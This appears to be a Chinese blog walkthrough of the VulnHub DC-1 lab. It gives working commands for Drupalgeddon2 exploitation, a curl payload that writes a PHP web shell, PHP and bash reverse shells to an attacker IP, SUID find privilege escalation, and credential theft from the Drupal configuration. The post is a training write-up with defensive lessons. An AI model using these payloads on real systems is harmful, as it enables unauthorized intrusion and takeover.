Skip to content
Kurisu
Go back

Vulnhub DC-1 完整渗透:从信息收集到提权

DC-1(DCAU 系列第一台)难度 Beginner/Intermediate,考标准渗透思维:摸清环境 → 抓 CMS 版本漏洞 → SUID 提权。机器埋了 5 个 flag(flag1~flag4 + thefinalflag),每个都给下一步提示。

⚠️ 操作均在 VMware 私有 NAT 网段对本机靶机执行,靶机为公开 VulnHub 镜像,勿对未授权目标复现。

1. 环境搭建

DC-1.ova 导入 VMware Workstation,网络选 NAT:Kali 与靶机同网段互达、与外网隔离。

角色系统网络
攻击机Kali LinuxVMware NAT(VMnet8)
靶机DC-1(Debian + Drupal 7)VMware NAT(VMnet8)

靶机默认 DHCP,先用 ARP 扫描找存活主机:

# netdiscover 主动扫描当前网段
sudo netdiscover -r 192.168.xxx.0/24

# 或者用 arp-scan,更快更干净
sudo arp-scan --localnet

除 Kali 自己外多出来的那台就是靶机(如 192.168.xxx.131),后续操作都指向它。

💡 ping 不通先查 NAT 网段是否一致,再看靶机网卡是否已连接(默认挂 VMnet8)。

2. 信息收集

先做全端口扫描 + 服务版本识别:

# 全端口 TCP 扫描
sudo nmap -sS -p- 192.168.xxx.131

# 服务版本 + 默认脚本探测
sudo nmap -sV -sC -O 192.168.xxx.131 -p 22,80

结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
MAC Address: 00:0C:29:XX:XX:XX (VMware)

只开 22 和 80,攻击面收在 Web。http://192.168.xxx.131/ 是 Drupal 站,版本信息藏在页面底部或源码里:

<!-- 页面源码底部能看到类似 -->
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />

Drupal 7 决定了后续利用路径;可用 whatweb 或 droopescan 确认:

whatweb http://192.168.xxx.131/
# 输出: ... Drupal 7 ...

3. 漏洞利用:Drupalgeddon2 (CVE-2018-7600)

Drupal 7 的著名 RCE:Drupalgeddon2(CVE-2018-7600)。表单 API 允许通过 #post_render 这类渲染数组属性注入可执行回调——用 user/register 表单的 mail[#post_render][] 传入 exec 之类的 PHP 函数,配合 ajax_form=1 触发,即可未认证远程执行任意命令。2018 年披露后被大规模自动化利用。

利用方式两种,任选其一:

方式一:Metasploit 一键利用

msfconsole
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 192.168.xxx.131
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.xxx.128
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

模块默认直接给一个 meterpreter 会话,省掉手工反弹 shell。

方式二:手工 POST 触发

不依赖 MSF,用 curl 写一句话 shell:

# 先访问注册页拿 form_build_id
curl -s http://192.168.xxx.131/user/register -c cookies.txt | grep form_build_id

# 构造恶意 POST:mail 参数里塞 #post_render 回调,执行写 shell 的命令
curl -s -b cookies.txt \
  -d "form_id=user_register_form&form_build_id=FORM_BUILD_ID_HERE&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo '<?php system(\$_GET['cmd']); ?>' > /tmp/shell.php" \
  "http://192.168.xxx.131/user/register?element_parents=account/mail/%23value&ajax_form=1"

# 验证命令执行
curl "http://192.168.xxx.131/tmp/shell.php?cmd=id"

💡 手工方式核心就一句:#post_render[] 数组注入 + exec 回调 + ajax_form=1 触发。

4. 反弹 Shell

有 RCE 后开监听拿稳定交互 shell:

nc -lvvp 4444

再在靶机上执行反弹命令。目标环境有 PHP,用 PHP 反弹最稳:

# 通过 RCE 执行(URL 编码后传入)
php -r '$sock=fsockopen("192.168.xxx.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# 或者 bash 反弹
bash -i >& /dev/tcp/192.168.xxx.128/4444 0>&1

收到 shell 后确认身份并升级为交互式终端:

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# 升级为带 TTY 的交互式 shell
python -c 'import pty; pty.spawn("/bin/bash")'

此时拿到 www-data 权限,真正的挑战在提权。

5. 提权:SUID find

/etc/passwd 里能看到普通用户:

cat /etc/passwd
# 除了 root,还有一个 flag4 用户(uid 1004)

接着枚举 SUID 文件——带 SUID 位的程序以属主身份运行,属主是 root 且程序可被操控就是经典提权入口:

find / -perm -4000 2>/dev/null

输出里除了常见的 passwd、su,还有一条:

-rwsr-xr-x 1 root root  ... /usr/bin/find

find 带 SUID 位、属主 root,任何 find 都以 root 运行;GNU find 的 -exec 又能执行任意命令,组合即提权:

find / -exec /bin/sh -p \;
# 或者更简洁的写法
find . -exec /bin/sh \;

执行后 shell 立即变成 root:

# id
uid=0(root) gid=0(root) groups=0(root)

💡 SUID 让 find 进程 euid=0,-exec 的子进程继承该 euid,sh 便以 root 运行;GTFOBins 的 find 条目就是这条命令。

6. Flag 复盘

flag 是引导式的,每个都是一条提示,串起来就是完整思路:

Flag位置内容/提示关键动作
flag1/var/www/flag1.txt提示”每个 CMS 都有配置文件”顺着提示找 Drupal 配置
flag2/var/www/sites/default/settings.phpMySQL 数据库凭据读配置拿 dbuser/dbpass,登入数据库
flag3数据库 drupaldb.users 表管理员密码 hash爆破 hash 或直接重置管理员密码
flag4/home/flag4/flag4.txt提示看 /etc/passwd 和 SUID找到 SUID find,完成提权
thefinalflag/root/thefinalflag.txt恭喜通关root 后直接读

flag1 → flag2:Drupal 数据库配置在 sites/default/settings.php,写着 MySQL 库名、用户名、密码:

cat /var/www/sites/default/settings.php | grep -A 4 "databases"
# $databases['default']['default'] = array(
#   'database' => 'drupaldb',
#   'username' => 'dbuser',
#   'password' => 'xxx',
#   ...

flag2 → flag3:拿凭据登入数据库,users 表里存着管理员账号和密码 hash:

mysql -u dbuser -p drupaldb
mysql> SELECT name, pass FROM users;
# admin 的 pass 是一串 $S$ 开头的 Drupal hash

两条路:john/hashcat 爆破(格式 $S$),或直接重置——PHP 现算新 hash 写回库:

# 在靶机上用 PHP 生成新密码 hash
php -r 'print(password_hash("NewPass123", PASSWORD_BCRYPT) . "\n");'
# Drupal 7 的 hash 实际是 phpass 格式,更准确的做法:
php -r 'require "/var/www/includes/password.inc"; print user_hash_password("NewPass123") . "\n";'

mysql> UPDATE users SET pass='<新hash>' WHERE name='admin';

之后用 admin 登录后台,/admin 里还能看到 flag3 提示”去看 flag4 用户的目录”。

flag3 → flag4:/home/flag4/flag4.txt 提示”root 的 flag 在 /root 下,想进去看 SUID”——即第 5 节的 find 提权。

thefinalflag:root 后直接读:

cat /root/thefinalflag.txt

通关。整条链:Web 漏洞打进来 → 配置泄露拿库 → 数据库拿凭据 → SUID 提权到 root。

7. 教训与总结

DC-1 浓缩了真实环境最常见的问题:

  1. CMS 要及时更新:Drupal 7 全版本被 Drupalgeddon2 一锅端,靶机还是 2018 年前的版本;漏洞利用永远比管理员打补丁快——表单渲染数组这类”框架魔法”被滥用就是未认证 RCE。
  2. SUID 位最小化:find 这种日常工具不需要 root SUID,一条 find / -perm -4000 就能看出偷懒;运维应定期审计 SUID/SGID 并删掉非必要的。
  3. 权限分离:Web 用 www-data 跑是标准做法,但数据库密码写在 Web 目录配置里,Web 被打穿就等于数据库沦陷;数据库账号应按最小权限单独建。
  4. 流程比技巧重要:每一步都依赖上一步的信息,信息收集 → 漏洞利用 → 权限维持/提升的框架比任何具体漏洞都值钱。

DC-1 适合当”第一个完整靶机”;之后可练 DC-2(WordPress + 横向提权)和 DC-3(Joomla + 内核提权)。


Share this post:

Previous Post
Cacti CVE-2022-46169:认证绕过与命令注入复现
Next Post
Next.js CVE-2025-29927:中间件认证绕过复现